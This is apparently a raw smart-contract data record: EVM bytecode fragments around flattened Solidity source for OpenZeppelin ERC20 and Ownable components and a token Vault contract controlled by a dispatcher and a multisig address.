60e01b81526001600160a01b039283166004820152905160009288169163fc57d4df916024808301926020929190829003018186803b1580156148f657600080fd5b505afa15801561490a573d6000803e3d6000fd5b505050506040513d602081101561492057600080fd5b505160035490915060009061493590836146db565b9050808514156149525750600094508493508392506122de915050565b831580156149605750600085115b15614994578085111561497e5761497785826146ff565b945061498f565b61498881866146ff565b9350600094505b6149a1565b61499e8482614532565b93505b5050509193909250565b6001546040805162066da360ea1b815290516000926001600160a01b0316916319b68c00916004808301926020929190829003018186803b1580156149ef57600080fd5b505afa158015614a03573d6000803e3d6000fd5b505050506040513d6020811015614a1957600080fd5b50516001600160a01b038381169116149050919050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526130c69084906158b0565b614a8a61123f565b6001600160a01b0316336001600160a01b0316146137ad576040805162461bcd60e51b81526020600482015260146024820152731bdb9b1e4b5c1bdbdb0b585d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b600154600160a01b900460ff16156137ad576040805162461bcd60e51b815260206004820152600b60248201526a3ab9b2b916b8bab4ba16a160a91b604482015290519081900360640190fd5b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526129c59085906158b0565b801580614c13575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015614be557600080fd5b505afa158015614bf9573d6000803e3d6000fd5b505050506040513d6020811015614c0f57600080fd5b5051155b614c4e5760405162461bcd60e51b8152600401808060200182810382526036815260200180615bc96036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b1790526130c69084906158b0565b6000614caa6144c4565b600080846001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015614ce657600080fd5b505afa158015614cfa573d6000803e3d6000fd5b505050506040513d6020811015614d1057600080fd5b50519050614d2e6001600160a01b038216868663ffffffff614b8d16565b6000856001600160a01b031663a0712d68866040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015614d7657600080fd5b505af1158015614d8a573d6000803e3d6000fd5b505050506040513d6020811015614da057600080fd5b505190508015614de3576040805162461bcd60e51b81526020600482015260096024820152681b5a5b9d0b59985a5b60ba1b604482015290519081900360640190fd5b600154600160a01b900460ff16612bea57614dfc614214565b6001600160a01b0316637db00adf3088614e1589614259565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b158015614e7d57600080fd5b505af1158015614e91573d6000803e3d6000fd5b50505050925050612bf681614517565b600080600354118015614ec157506002546001600160a01b038481169116145b15613a41576000600354831015614ed85782614edc565b6003545b9050614ef5600354614ef0600354846146ff565b614f07565b614eff83826146ff565b915050611e54565b614f0f611ff6565b614f1857612478565b816003541015614f68576040805162461bcd60e51b8152602060048201526016602482015275185b5bdd5b9d0f8f5d1bdc1c1959155c105b5bdd5b9d60521b604482015290519081900360640190fd5b614f74600354836146ff565b6003819055158015614f8857506000600454115b15614f935760006004555b8015615053576002546040805163317afabb60e21b81526004810184905290516001600160a01b039092169163c5ebeaec916024808201926020929091908290030181600087803b158015614fe757600080fd5b505af1158015614ffb573d6000803e3d6000fd5b505050506040513d602081101561501157600080fd5b505115615053576040805162461bcd60e51b815260206004820152600b60248201526a189bdc9c9bddcb59985a5b60aa1b604482015290519081900360640190fd5b600160009054906101000a90046001600160a01b03166001600160a01b03166319b68c006040518163ffffffff1660e01b815260040160206040518083038186803b1580156150a157600080fd5b505afa1580156150b5573d6000803e3d6000fd5b505050506040513d60208110156150cb57600080fd5b50516002546001600160a01b039081169116141561511b5760006150ed61123f565b6001600160a01b03166108fc849081150290604051600060405180830381858888f150612478945050505050565b60025460408051636f307dc360e01b815290516000926001600160a01b031691636f307dc3916004808301926020929190829003018186803b15801561516057600080fd5b505afa158015615174573d6000803e3d6000fd5b505050506040513d602081101561518a57600080fd5b505190506130c661519961123f565b6001600160a01b038316908563ffffffff614a3016565b6001546001600160a01b031615615204576040805162461bcd60e51b8152602060048201526013602482015272185d985d185c8b585b1c9958591e4b5a5b9a5d606a1b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6060600080600160009054906101000a90046001600160a01b03166001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561527957600080fd5b505afa15801561528d573d6000803e3d6000fd5b505050506040513d60208110156152a357600080fd5b5051604051631853304760e31b81526020600482018181528751602484015287519394506060936001600160a01b0386169363c2998238938a9392839260440191858101910280838360005b838110156153075781810151838201526020016152ef565b5050505090500192505050600060405180830381600087803b15801561532c57600080fd5b505af1158015615340573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561536957600080fd5b8101908080516040519392919084600160201b82111561538857600080fd5b90830190602082018581111561539d57600080fd5b82518660208202830111600160201b821117156153b957600080fd5b82525081516020918201928201910280838360005b838110156153e65781810151838201526020016153ce565b50505050905001604052505050905060008090505b81518110156154695781818151811061541057fe5b6020026020010151600014615461576040805162461bcd60e51b8152602060048201526012602482015271195b9d195c8b5b585c9ad95d1ccb59985a5b60721b604482015290519081900360640190fd5b6001016153fb565b50925050613a4181614517565b60015460408051630a57ebcf60e11b815230600482015290516001600160a01b03909216916314afd79e91602480820192602092909190829003018186803b1580156154c157600080fd5b505afa1580156154d5573d6000803e3d6000fd5b505050506040513d60208110156154eb57600080fd5b50516001600160a01b031633146137ad576040805162461bcd60e51b815260206004820152601060248201526f39b2b73232b916b737ba16b7bbb732b960811b604482015290519081900360640190fd5b61554461345a565b615584576040805162461bcd60e51b815260206004820152600c60248201526b063616e6e6f742d756e746f760a41b604482015290519081900360640190fd5b6000600455565b610d7a816000836001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156155ca57600080fd5b505afa1580156155de573d6000803e3d6000fd5b505050506040513d60208110156155f457600080fd5b50516001600160a01b0316919063ffffffff614b8d16565b600080600160009054906101000a90046001600160a01b03166001600160a01b031663eaeec94b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561565d57600080fd5b505afa158015615671573d6000803e3d6000fd5b505050506040513d602081101561568757600080fd5b5051604080516326f84feb60e11b81526001600160a01b038681166004830152915192935090831691634df09fd691602480820192602092909190829003018186803b1580156156d657600080fd5b505afa1580156156ea573d6000803e3d6000fd5b505050506040513d602081101561570057600080fd5b50519392505050565b615711612600565b156137ad576137ad61553c565b600083830182858210156112365760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156133e65781810151838201526020016133ce565b60008083615786575060009050806146a1565b8383028385828161579357fe5b04146157a7575060029150600090506146a1565b6000925090506146a1565b600081836158015760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156133e65781810151838201526020016133ce565b5082848161580b57fe5b04949350505050565b6000610ca583836040518060400160405280601781526020017f6d756c7469706c69636174696f6e206f766572666c6f77000000000000000000815250615a68565b600081848411156158a85760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156133e65781810151838201526020016133ce565b505050900390565b6158c2826001600160a01b0316615ade565b615913576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106159515780518252601f199092019160209182019101615932565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146159b3576040519150601f19603f3d011682016040523d82523d6000602084013e6159b8565b606091505b509150915081615a0f576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156129c557808060200190516020811015615a2b57600080fd5b50516129c55760405162461bcd60e51b815260040180806020018281038252602a815260200180615b9f602a913960400191505060405180910390fd5b6000831580615a75575082155b15615a8257506000610ca5565b83830283858281615a8f57fe5b041483906112365760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156133e65781810151838201526020016133ce565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590615b1257508115155b949350505050565b604051806020016040528060008152509056fe616d74546f44656475637446726f6d546f7075703e746f707065645570416d6f756e746572722d6c697175696461746543616c63756c6174655365697a65546f6b656e73616d74546f44656475637446726f6d546f7075703e756e6465726c79696e67416d74546f4c69717569646174655361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a7231582074dc8f31228156573484e1529bb7e375a9e2745114b8f857592f7a7bb451fb3a64736f6c63430005100032
[ 13, 7 ]
0xF29d92776ab4846D895A5713E60fC13B1b4A81EE
/* .... . u :i:::.EBi .r:::.JB. ii:::.Rg :i:i:.QE .:.BB: .. . QBQ: :::.. bBB: i.:...BBB i::...BBB .i:. DBB .J::..iBBB i:....BBB .::.. 7BBQ .::.. vBBg :::.:. dBg KBBBBBBB2 .:.:. rBBZ ::.:. PBBi ::... EBB. .:::.:.. ZBg ..... . ..... . rdUSUis ..:::.:.. i::.. EBB: ...:::. i.:...BBB i.:...BBB .. . .BBv..:... PBD .ri:i:.gg .ri::..BBi r:. .B. ::i::::.:::ii:. .i:.. .BBB .iii:::::::: .::.. LBBS :::.. sQB2.:i:i.jB. bi.:.. dBD i:::: sQB i::. .gBBB..::.. XBB7 :i::.. ..:::i7 ::.:. vBBS .ii::.. .::::.:. ZBB. ::.:. gBQ. :::...BQ. ..:.. Sb PBg ::.:..iBB i:.. ZBQB. ::.:..BBQ .ii:.. rqgQQZ:..:..:B: i::.. MBB. :i:... :YXbP5:..:::..:BQB i::..:BBB ::.:..QB: :::.. sBBBbBB :::::.:BB :i... bBQB: .i::. rBBD i:::.:QBBBBBQB:..:. PB. .i::: :BBQ i::.. .PBBBBBBBr..:.. uBBJ :::.. IBBY i::.. gB7 :i:.. LBBBS :Q .i.:...BB. :i.:. PBBB: :::.. dBB: ::::.iBBBB7 .:::. JBB :i::. uBBY .::::..BBBBP: .::.:..MBB i:.:..QBB i:.:. qB1 .i:.. vBBBK i:::. MBi .i:.. XBBBi i:.:..QBB .:::..:i.:. ........ 2BB i::...QBB i:::..ZBBB. i.:..:BBQ .i::..iBBQ :::.. 1BZ i:.. 7BBBb i:::: ZBs r::. 5BBBr :i:::.vBBI i::::. ....... RQB i:::.rBBM .r:::.rBBB .i::: XBBr i:::: qQBr .r:::.vBQ :i:: rBBQZ :r:::.XBb.::. 5BBB7 r:::..gBB i:::.72uuUUIUIUI1I12sIBBQ :i::..XBBr ii:::.SBBY ii::..QBQ ri::.:QBB .r:::.rQB:::: rBBBM .r:::.SB:.:. uBQBL .r:::.iBBQ .i:::.EBBBBBBBBBBBQBBBBBBJ i:::..BBB ii:::.IBB :i:::.rBBD .r:::.7BBZ r:::.iB7..: iBBBR r:::.v7.:. jBBBJ :i::. 1BBu :i:::.vBB .:... i .i:::.7QBd r::::.iQB :r:::. PBB: i:::. EBBi ::::.iu... iQBBQ i:::.:... LBBB2 r:::..QBB .r::.:.LE .... :BBi ::::. PBB: :i:::..rD .:i::::..BBB r:::.:BBB :i:::.... :BBBB :i:::::. vBBB5 .i:.: rBBQ :r::....:::i::.. .IBBBB i.:...BBB ri::.:..:i::.:::.:. 7BBK .i.:..LBBK .r::::.: :BBBB .r::::. 7BBBK :... 5BBv .7:......... .:5BBBBb :.... vBBS ir........ rg: .. EBB. i.. gBB. i:::::.:BBBB i:::..7BQBb qQq5I1BBB .EQIri:i:rsqQBBBBB: YBqS21MBB. rg2riiivIQBBqb5SU5BBB EQSS1SBBB :::::.:QBQB .r::..rBQBE bBBBBBBR vBBQBBBQBBBQB1. sBBBBBBB .QBBBBBBBBBSPBBBBBBI QBBBBBBI i:::..QBBB .r::. rBQBg .rrri: .iiri. ii::..MBBB iiii::. 7BBBR r::.......::i:i:i::.. ...::::i:::.......::::::::::.. ...........:i::........:iii:ii::. :RBBB. r::.. .1BQBM :i:::.:.:.:::::::.:::.:.....:.:::::::::::.:::.:::::::::::::.:.:.:::::::.:.:.:::::.:.:.:::::::.... 7BBBB. ir..::JRBBBP vi.............................................................................................:7DBBBB .BBBQBQBBBr 7BBBBQBBBBBQBBBQBQBBBBBBBBBBBBBBBBBBBQBBBQBBBQBQBBBBBBBBBQBBBBBBBQBBBBBBBBBBBBBQBBBBBBBBBBBQBQBBBBBBK XDbq5Y: .DZPEPEPdPEPdPdPdPdbEPEbEPEbEPEPdPEPEbdbEdZbZdEdEdEdEbEdZbEdZdZdEbEdZdEbEdZdEbEdZdEdZdEbEdZdZPP5ji */ // File contracts/openzeppelin_contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/openzeppelin_contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { revert("Cannot renounceOwnership with this contract"); //not possible for these contracts } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/openzeppelin_contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/openzeppelin_contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/Vault.sol pragma solidity 0.8.4; contract Vault is Ownable { address private dispatcherAddress; address private multiSigAddress; address[] private tokens; struct supportedToken { ERC20 token; bool active; } mapping(address => supportedToken) private tokensStore; constructor(address _multiSigAddress) Ownable() { require(_multiSigAddress != address(0), "Cannot set address to 0"); multiSigAddress = _multiSigAddress; } /***************** Getters **************** */ function getDispatcherAddress() public view returns (address) { return dispatcherAddress; } function getMultiSigAddress() public view returns (address) { return multiSigAddress; } function getTokenAddresses() public view returns (address[] memory) { return tokens; } /***************** Calls **************** */ function transferFunds(address _tokenAddress, address _recipient, uint256 _amount) external onlyDispatcher { require(tokensStore[_tokenAddress].active == true, "Token not supported"); require(_amount > 0, "Cannot transfer 0 tokens"); ERC20(_tokenAddress).transfer(_recipient, _amount); emit ReleasedFundsEvent(_recipient, _amount); } function newMultiSig(address _multiSigAddress) external onlyMultiSig { require(_multiSigAddress != address(0), "Cannot set address to 0"); multiSigAddress = _multiSigAddress; emit NewMultiSigEvent(_multiSigAddress); } function newDispatcher(address _dispatcherAddress) external onlyMultiSig { require(_dispatcherAddress != address(0), "Can't set address to 0"); dispatcherAddress = _dispatcherAddress; emit NewDispatcherEvent(dispatcherAddress); } function addToken(address _tokenAddress) external onlyMultiSig { require(tokensStore[_tokenAddress].active != true, "Token already supported"); tokensStore[_tokenAddress].token = ERC20(_tokenAddress); tokensStore[_tokenAddress].active = true; tokens.push(_tokenAddress); emit AddTokenEvent(_tokenAddress); } function removeToken(address _tokenAddress) external onlyMultiSig { require(tokensStore[_tokenAddress].active == true, "Token not supported already"); tokensStore[_tokenAddress].active = false; popTokenArray(_tokenAddress); emit RemoveTokenEvent(_tokenAddress); } /***************** Internal **************** */ function popTokenArray(address _tokenAddress) private { for(uint256 i = 0; i <= tokens.length; i++) { if(_tokenAddress == tokens[i]) { tokens[i] = tokens[tokens.length - 1]; tokens.pop(); break; } } } /***************** Modifiers **************** */ modifier onlyDispatcher() { require(dispatcherAddress == msg.sender, "Not the disptacher"); _; } modifier onlyMultiSig() { require(multiSigAddress == msg.sender, "Not the multisig"); _; } /***************** Events **************** */ event NewMultiSigEvent(address newMultiSigAddress); event AddTokenEvent(address newTokenAddress); event RemoveTokenEvent(address removedTokenAddress); event NewDispatcherEvent(address newdDspatcherAddress); event ReleasedFundsEvent(address indexed recipient, uint256 amount); }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063ad0a5b8611610071578063ad0a5b8614610119578063d48bfca71461012a578063d5f2142f1461013d578063d6e3db6a14610150578063ee8c24b814610163578063f2fde38b1461017857600080fd5b80631501bf03146100ae5780635fa7b584146100c3578063715018a6146100d657806375766e25146100de5780638da5cb5b14610108575b600080fd5b6100c16100bc366004610aec565b61018b565b005b6100c16100d1366004610acb565b610364565b6100c161046e565b6001546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b6000546001600160a01b03166100eb565b6002546001600160a01b03166100eb565b6100c1610138366004610acb565b610524565b6100c161014b366004610acb565b610661565b6100c161015e366004610acb565b61072f565b61016b6107f6565b6040516100ff9190610b47565b6100c1610186366004610acb565b610858565b6001546001600160a01b031633146101df5760405162461bcd60e51b81526020600482015260126024820152712737ba103a3432903234b9b83a30b1b432b960711b60448201526064015b60405180910390fd5b6001600160a01b038316600090815260046020526040902054600160a01b900460ff1615156001146102495760405162461bcd60e51b8152602060048201526013602482015272151bdad95b881b9bdd081cdd5c1c1bdc9d1959606a1b60448201526064016101d6565b600081116102995760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f74207472616e73666572203020746f6b656e73000000000000000060448201526064016101d6565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b1580156102e357600080fd5b505af11580156102f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031b9190610b27565b50816001600160a01b03167f3ec4a79858140306c4dd26c503d27f0e460d98696e21cf02d35037a2084db79b8260405161035791815260200190565b60405180910390a2505050565b6002546001600160a01b0316331461038e5760405162461bcd60e51b81526004016101d690610b94565b6001600160a01b038116600090815260046020526040902054600160a01b900460ff1615156001146104025760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e206e6f7420737570706f7274656420616c7265616479000000000060448201526064016101d6565b6001600160a01b0381166000908152600460205260409020805460ff60a01b1916905561042e81610972565b6040516001600160a01b03821681527f382de1b4066f7158b67c92c125edeaf7c7c188d217a9592d5b81ad5372bff4e7906020015b60405180910390a150565b6000546001600160a01b031633146104c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101d6565b60405162461bcd60e51b815260206004820152602b60248201527f43616e6e6f742072656e6f756e63654f776e657273686970207769746820746860448201526a1a5cc818dbdb9d1c9858dd60aa1b60648201526084016101d6565b6002546001600160a01b0316331461054e5760405162461bcd60e51b81526004016101d690610b94565b6001600160a01b038116600090815260046020526040902054600160a01b900460ff161515600114156105c35760405162461bcd60e51b815260206004820152601760248201527f546f6b656e20616c726561647920737570706f7274656400000000000000000060448201526064016101d6565b6001600160a01b038116600081815260046020908152604080832080546001600160a81b0319168517600160a01b1790556003805460018101825593527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b90920180546001600160a01b0319168417905590519182527fca42a4201c11ccc341dd7ab86d8309719300acccdf8de4ce093d0128e69a50a19101610463565b6002546001600160a01b0316331461068b5760405162461bcd60e51b81526004016101d690610b94565b6001600160a01b0381166106e15760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f7420736574206164647265737320746f203000000000000000000060448201526064016101d6565b600280546001600160a01b0319166001600160a01b0383169081179091556040519081527fd98884b1ee7930ff2f73f6350aa67967fb4602d47c36aac140b52b7b4234169290602001610463565b6002546001600160a01b031633146107595760405162461bcd60e51b81526004016101d690610b94565b6001600160a01b0381166107a85760405162461bcd60e51b8152602060048201526016602482015275043616e277420736574206164647265737320746f20360541b60448201526064016101d6565b600180546001600160a01b0319166001600160a01b0383169081179091556040519081527f652e2959230c45d5def991c83f156a66eda6782f15569dffe328f5aa69c0f8ed90602001610463565b6060600380548060200260200160405190810160405280929190818152602001828054801561084e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610830575b5050505050905090565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101d6565b6001600160a01b0381166109175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101d6565b600080546040516001600160a01b03808516939216917f8be0079c5316591413